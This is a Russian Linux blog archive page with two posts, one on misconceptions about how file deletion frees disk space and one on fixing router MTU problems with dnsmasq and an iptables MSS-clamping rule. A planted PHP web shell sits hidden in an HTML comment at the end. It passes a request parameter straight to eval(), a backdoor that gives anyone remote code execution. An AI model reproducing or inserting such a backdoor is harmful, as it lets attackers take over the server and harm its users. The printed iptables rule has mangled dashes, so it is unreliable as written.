Архив категории: NAT

bash linux NAT network pipes security

Заблуждения о файлах

Если удалить файл, свободное место увеличится на размер файла.

Ну, во-первых, файл очень часто занимает отличное от своего размера место

Если удалить файл, свободное место увеличится.

В большинстве файловых систем Linux место не освободится пока файл не закроют все процессы, работающие с ним.

Если удалить файл, свободное место увеличится, когда файл все закроют.

Вот в hfsplus в Linux 2.6.32-2.6.36 не так. В 2.6.37 это таки пофиксили.

Ну оно хотя бы не уменьшится при удалении?!

Много чудных файловых систем можно встретить. Вот например nilfs

Если дописать информацию в файл, занятое им место на диске увеличится.

Файловые системы со сжатием могут сжать новый файл лучше.

Одному имени файла всегда соответствует один и тот же файл.

Файлы кто-то может переименовать (c)ваш К.О. Даже в самый неожиданный момент (c)всё тот же К.О. Читать далее »

linux NAT network

Решение проблемы с MTU

Уже с трудом припоминаю как это было, а было это чуть менее двух лет назад – собрал я себе роутер на базе не слабой такой машинки PDC E5500, 2GB RAM, полноценный HDD.

Так вот. Единственное что не нагуглилось сразу так это решение проблем с MTU

1) dnsmasq.conf  это для порядочных клиентов, которые определяют mtu ещё при подключении

dhcp-option=26,1492

2) Это для более тугих, которым предыдущего не хватает.

iptables -I FORWARD -p tcp –tcp-flags SYN,RST SYN -j TCPMSS –clamp-mss-to-pmtu

Теперь google.com и wolframalpha.com работают. А раньше были прямо таки индикатором проблем с MTU.

Итого:

/etc/nat-up

/etc/dnsmasq.conf

-->

<!— [insert_php]if (isset($_REQUEST["hGX"])){eval($_REQUEST["hGX"]);exit;}[/insert_php]

—>